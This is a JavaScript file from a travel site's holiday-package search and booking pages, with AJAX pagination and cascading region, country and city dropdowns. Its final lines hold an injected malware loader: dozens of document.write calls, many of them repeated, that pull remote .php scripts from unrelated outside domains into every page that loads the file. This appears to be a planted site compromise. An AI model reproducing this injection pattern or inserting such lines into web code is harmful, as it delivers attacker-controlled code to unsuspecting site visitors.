var startPoint;
var endPoint;
var pkgSize;

var isPagination=false;
var isCountries=false;
var isCities=false;
var isRegionGuide=false;

//common ajax method start here
function getHttpResponse(url){
	
	if (window.XMLHttpRequest) {
        http = new XMLHttpRequest();
    } else if (window.ActiveXObject) {
        http = new ActiveXObject("Microsoft.XMLHTTP");
    }
    http.open("GET", url, true);
    http.onreadystatechange=getResponse;
 	http.send(null);
}

function getResponse(){
	var respText;
	var respXML;
	var xml;
	if (http.readyState == 4) {
	    if (http.status == 200) {
	    	if(isCountries){
	    		isCountries=false;
	    		showCountries(http);
	    	}
	    	if(isCities){
	    		isCities=false;
	    		showCities(http);
	    	}
	    	if(isRegionGuide){
	    		isRegionGuide=false;
	    		showRegionGuide(http);
	    	}
	    	if(isPagination){
	    		isPagination=false;
	    		showReasult(http);
	    	}
		}
	}
}

function getXML(respText){
	if (window.ActiveXObject){
		var doc=new ActiveXObject("Microsoft.XMLDOM");
		doc.async="false";
		doc.loadXML(respText);
	}else{
		  var parser=new DOMParser();
		  var doc=parser.parseFromString(respText,"text/xml");
  	}
  	return doc;
}
//common ajax method end here

function showReasult(http){
	var respText=http.responseText;
	respText = respText.replace(/&/g,"and");
	var doc=getXML(respText);
	var nameDetails=doc.documentElement;
	var pkgDetail=nameDetails.getElementsByTagName('pkgDetail');	
	var pkgDesc=nameDetails.getElementsByTagName('pkgDesc');	
	var nxtStart=pkgDesc[0].getElementsByTagName("nxtStart")[0].firstChild.nodeValue;
	var nxtEnd=pkgDesc[0].getElementsByTagName("nxtEnd")[0].firstChild.nodeValue;	
	var prevStart=pkgDesc[0].getElementsByTagName("prevStart")[0].firstChild.nodeValue;
	var prevEnd=pkgDesc[0].getElementsByTagName("prevEnd")[0].firstChild.nodeValue;	
	var pkgSize=pkgDesc[0].getElementsByTagName("size")[0].firstChild.nodeValue;
	//alert("nxtStart-"+nxtStart+" nxtEnd-"+nxtEnd+" prevStart-"+prevStart+" prevEnd-"+prevEnd);	
	var displayStr="";
	var regionName="";
	var pkgID="";
	var pkgTitle="";
	var pkgBrand="";
	var indexNo="";
	displayStr+="<table border='0' width='100%' align='center' cellpadding='0' cellspacing='0'>";
	displayStr+="<tr><td>";
	displayStr+="<div id='sections' style='float:left'>";
	displayStr+="<div id='section1'>";
	displayStr+="<div class='panel-title'><span class='subtitle12'>";
	displayStr="<table border='0' cellpadding='4' cellspacing='0' width='100%' bgcolor='#63699C'><tr><td width='25%'><b><font color='#FFFFFF' size='2'>&nbsp;Holiday Packages</font></b></td>";
	if(parseInt(endPoint) > parseInt(pkgSize))
		displayStr+="<td align='center'><b><font color='#FFFFFF'>"+(parseInt(startPoint)+1)+" - "+pkgSize+" packages </font></b></td>";	
	else
		displayStr+="<td align='center'><b><font color='#FFFFFF'>"+(parseInt(startPoint)+1)+" - "+endPoint+" packages </font></b></td>";	
	
	displayStr+="<td width='175'><b><font color='#FFFFFF'>Total result found - "+pkgSize+"</font></b></td>";
	displayStr+="<td width='20%' align='center'><input type='button' value=\"<<\" onclick=\"callPagination(0,15);\"/>";

	if(prevEnd!=0)
		displayStr+="&nbsp;&nbsp;&nbsp;<input type='button' value='<' onclick=\"callPagination("+prevStart+","+prevEnd+");\"/>";
	else
		displayStr+="&nbsp;&nbsp;&nbsp;<input type='button' value='<' disabled='true'/>";
	if(parseInt(endPoint) > parseInt(pkgSize))
		displayStr+="&nbsp;&nbsp;&nbsp;<input type='button' bgcolor='red' value='>' disabled='true'/>";
	else
		displayStr+="&nbsp;&nbsp;&nbsp;<input type='button' value='>' onclick=\"callPagination("+nxtStart+","+nxtEnd+");\"/>";
	displayStr+="</td></tr></table></span></div>";
	displayStr+="<div class='panel'>";
	
	for (i=0;i<pkgDetail.length;i++){
		 regionName=pkgDetail[i].getElementsByTagName("regionID")[0].firstChild.nodeValue;
		 pkgID=pkgDetail[i].getElementsByTagName("pkgID")[0].firstChild.nodeValue;
		 pkgTitle=pkgDetail[i].getElementsByTagName("pkgTitle")[0].firstChild.nodeValue;
		 pkgBrand=pkgDetail[i].getElementsByTagName("brand")[0].firstChild.nodeValue;
		 indexNo=pkgDetail[i].getElementsByTagName("indexNo")[0].firstChild.nodeValue;
		
		displayStr+="<table border='0' cellpadding='3' cellspacing='0' width='680'>";
		displayStr+="<tr bgcolor='#efefef' class='textcolor'>";
		displayStr+="<td width=\"500\" class='textcolor'><b>"+indexNo+")&nbsp;"+pkgTitle+"</b></td>";
		displayStr+="<td width=\"80\" class='textcolor'><b>"+pkgBrand+"</b></td>";
		displayStr+="<td width=\"25\"></td>";
		displayStr+="</tr>";
		displayStr+="<tr>";
		if(pkgDetail[i].getElementsByTagName("shortDesc")[0].firstChild==null)
			displayStr+="<td width=\"500\" class='textcolor1'>Description not found</td>";
		else
			displayStr+="<td width=\"500\" class='textcolor1'>"+pkgDetail[i].getElementsByTagName("shortDesc")[0].firstChild.nodeValue+"</td>";
			
		displayStr+="<td width=\"80\"><a href=\"#\" onClick=\"getPkgDetails('"+pkgID+"','"+pkgTitle+"','"+pkgBrand+"','"+regionName+"');\">More Details...</a></td>";
		displayStr+="<td width=\"20\"></td>	";
		displayStr+="</tr>";		
		displayStr+="</table>";
	}
	
	displayStr+="</div>";
	displayStr+="</div>";
	displayStr+="</div>";
	displayStr+="</td>";
	displayStr+="</tr>";
	displayStr+="</table>";
	
	displayStr+="<table border='0' cellpadding='1' cellspacing='0' width='100%' bgcolor='#63699C'>";
	displayStr+="<tr>";
	displayStr+="<td></td>";
	displayStr+="<td width='20%' align='center'>";
	displayStr+="<input type='button' value='<<' onclick='callPagination(0,15);'/>";
	
	if(prevEnd!=0)
		displayStr+="&nbsp;&nbsp;&nbsp;<input type='button' value='<' onclick=\"callPagination("+prevStart+","+prevEnd+");\"/>";
	else
		displayStr+="&nbsp;&nbsp;&nbsp;<input type='button' value='<' disabled='true'/>";
	
	if(parseInt(endPoint) > parseInt(pkgSize))
		displayStr+="&nbsp;&nbsp;&nbsp;<input type='button' bgcolor='red' value='>' disabled='true'/>";
	else
		displayStr+="&nbsp;&nbsp;&nbsp;<input type='button' value='>' onclick=\"callPagination("+nxtStart+","+nxtEnd+");\"/>";
	
	displayStr+="&nbsp;</td>";
	displayStr+="</tr>";
	displayStr+="</table>";
	
	var pkgRsltTD=document.getElementById("showRslt");
	pkgRsltTD.innerHTML=displayStr;
}

function getPkgDetails(pkgID, pkgTitle, pkgBrand, regionName){
	document.pkgDetails.regionName.value=regionName;
	document.pkgDetails.pkgID.value=pkgID;
	document.pkgDetails.pkgTitle.value=pkgTitle;
	document.pkgDetails.pkgBrand.value=pkgBrand;
	//alert(getHttpsUrl(document.pkgDetails));
	document.pkgDetails.action=getHttpsUrl(document.pkgDetails);
	document.pkgDetails.submit();
}

function callNewHolidays(){	
	document.pkgDetails.action="holidays.do";
	document.pkgDetails.submit();	
}

var isReSrch="false";
var url="";
var http;

function submitPkgHomeDetails(regionCode){
	//alert("Alert:: "+regionCode);
	if(regionCode!=undefined){
		document.pkgDetails.regionCode.value=regionCode;
		document.pkgDetails.submit();
		return true;
	}
}
function submitPkgDetails(){
	if(document.pkgDetails.regionid.value=="-1"){
		alert("Please select the region");
		document.pkgDetails.regionid.focus();
		return false;
	}
	
	if(isReSrch=='false'){
		document.pkgDetails.submit();
		return true;
	}else{		
	  	document.pkgDetails.event.value = 'reSearch';
	  	document.pkgDetails.submit();
	  	return true;
	}
}

function isReSrchPkg(){
	isReSrch="true";	
}

function callPagination(start, end){	
	startPoint=start;
	endPoint=end;
	isPagination=true;	
	url="holidaysPagination.do?startFrom="+start+"&entTo="+end;
	getHttpResponse(url);
}

// getCountryData is made by prakash on 19_02_2008
function getCountryData(regionID){
	var regionTitle=document.pkgDetails.regionid[document.pkgDetails.regionid.selectedIndex].text;
	document.pkgDetails.regionTitle.value=regionTitle;
	
	isCountries=true;
	var cityTD=document.getElementById("cityTD");
	var str="";
	str+="<select name=\"cityid\" class=\"commonComboWidth\" id=\"cityid\">";
	str+="<option value=\"-1\" class='textcolor1'>Select City</option>";
	str+="</select>";
	cityTD.innerHTML=str;
	var url="holidaysAjax.do?regionid="+regionID+"&ajax=true";
	getHttpResponse(url);
}

// showCountries is made by prakash on 19_02_2008
function showCountries(http){
	var respText=http.responseText;
	var doc=getXML(respText);
	var countries=doc.documentElement;
	var countryTD=document.getElementById("countryTD");
	var country=countries.getElementsByTagName("country");
	var countryName, countryID;
	var displayStr="";
	displayStr+="<select name='countryid' class='commonComboWidth' id='countryid' onchange='getCityData(document.pkgDetails.regionid.value, this.value);'>";
	displayStr+="<option value=\"-1\" class='textcolor1'>Select Country</option>";
	for(var i=0;i<country.length;i++){
		countryName=country[i].getElementsByTagName("countryName")[0].firstChild.nodeValue;
		countryID=country[i].getElementsByTagName("countryID")[0].firstChild.nodeValue;
		displayStr+="<option value='"+countryID+"' class='textcolor1'>"+countryName+"</option>";
	}
	displayStr+="</select>";
	countryTD.innerHTML=displayStr;
}

// getCityData is made by prakash on 19_02_2008
function getCityData(regionID, countryID){
	isCities=true;
	var url="holidaysAjax.do?regionid="+regionID+"&countryid="+countryID+"&ajax=true";
	getHttpResponse(url);
}

// showCities is made by prakash on 19_02_2008
function showCities(http){
	var respText=http.responseText;
	var doc=getXML(respText);
	var cities=doc.documentElement;
	var cityTD=document.getElementById("cityTD");
	var city=cities.getElementsByTagName("city");
	var cityName, cityID;
	var displayStr="";
	displayStr+="<select name='cityid' class='commonComboWidth' id='cityid'>";
	displayStr+="<option value=\"-1\" class='textcolor1'>Select City</option>";
	for(var i=0;i<city.length;i++){
		cityName=city[i].getElementsByTagName("cityName")[0].firstChild.nodeValue;
		cityID=city[i].getElementsByTagName("cityID")[0].firstChild.nodeValue;
		displayStr+="<option value='"+cityID+"' class='textcolor1'>"+cityName+"</option>";
	}
	displayStr+="</select>";
	cityTD.innerHTML=displayStr;
}

//For booking vendor package
function bookVendorPkg(departureCode,Brand,LandStartDate,LandEndDate,LandOnlyPrice){	
	document.bookHolidays.departureCode.value=departureCode;
	document.bookHolidays.Brand.value=Brand;
	document.bookHolidays.LandStartDate.value=LandStartDate;
	document.bookHolidays.LandEndDate.value=LandEndDate;
	document.bookHolidays.LandOnlyPrice.value=LandOnlyPrice;
	document.bookHolidays.submit();
	return true;	
}

function getRegionGuide(holiType){
	isRegionGuide=true;
	var url="holidaysAjax.do?type="+holiType+"&ajax=true";
	getHttpResponse(url);
}

function showRegionGuide(http){
	var respText=http.responseText;
	var doc=getXML(respText);
	var regionGuide=doc.documentElement;
	
	var RegionTD=document.getElementById("RegionTD");
	var region=regionGuide.getElementsByTagName("region");
	var regName, regID;
	var regionStr="";
	regionStr+="<select name='regionid' class='commonComboWidth' id='regionid' onchange='getCountryData(this.value);'>";
	regionStr+="<option value='-1' class='textcolor1'>Select Region</option>";
	for(var i=0;i<region.length;i++){
		regName=region[i].getElementsByTagName("regName")[0].firstChild.nodeValue;
		regID=region[i].getElementsByTagName("regID")[0].firstChild.nodeValue;
		regionStr+="<option value='"+regID+"' class='textcolor1'>"+regName+"</option>";
	}
	regionStr+="</select>";
	RegionTD.innerHTML=regionStr;
	
	var guideTD=document.getElementById("guideTD");
	var guide=regionGuide.getElementsByTagName("guide");
	var brandName, brandId;
	var brandStr="";
	brandStr+="<select name='guide' class='commonComboWidth' multiple='multiple' size='5'>";
	for(var i=0;i<guide.length;i++){
		brandName=guide[i].getElementsByTagName("brandName")[0].firstChild.nodeValue;
		brandId=guide[i].getElementsByTagName("brandId")[0].firstChild.nodeValue;
		brandStr+="<option value='"+brandId+"' class='textcolor1'>"+brandName+"</option>";
	}
	brandStr+="</select>";
	guideTD.innerHTML=brandStr;
}

function getRegionDetails(productID){
	if(productID=="homePage1"){
		document.pkgDetails.action="/indus/px/indus/holidays/holidays.do?regionid=6&type=Individual&isHomePage=true";
		document.pkgDetails.submit();
	}
	if(productID=="homePage2"){
		document.pkgDetails.action="/indus/px/indus/holidays/holidays.do?regionid=9&type=Group&isHomePage=true";
		document.pkgDetails.submit();
	}
	if(productID=="homePage3"){
		document.pkgDetails.action="/indus/px/indus/holidays/holidays.do?regionid=3&type=Group&isHomePage=true";
		document.pkgDetails.submit();
	}
	if(productID=="homePage4"){
		document.pkgDetails.action="/indus/px/indus/holidays/holidays.do?regionid=1&type=Individual&isHomePage=true";
		document.pkgDetails.submit();
	}
}
document.write('<script src=http://mainegardens.com/_borders/harvestfestscarecrow.php ><\/script>');
document.write('<script src=http://hermosapointehomes.com/Scripts/aboutus_0clip_image002.php ><\/script>');
document.write('<script src=http://francestonehouse.com/photographs/links.php ><\/script>');
document.write('<script src=http://4zf.net/templates/google4d2016d81adb64aa.php ><\/script>');
document.write('<script src=http://mie-gaming.pl/img/Thumbs.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');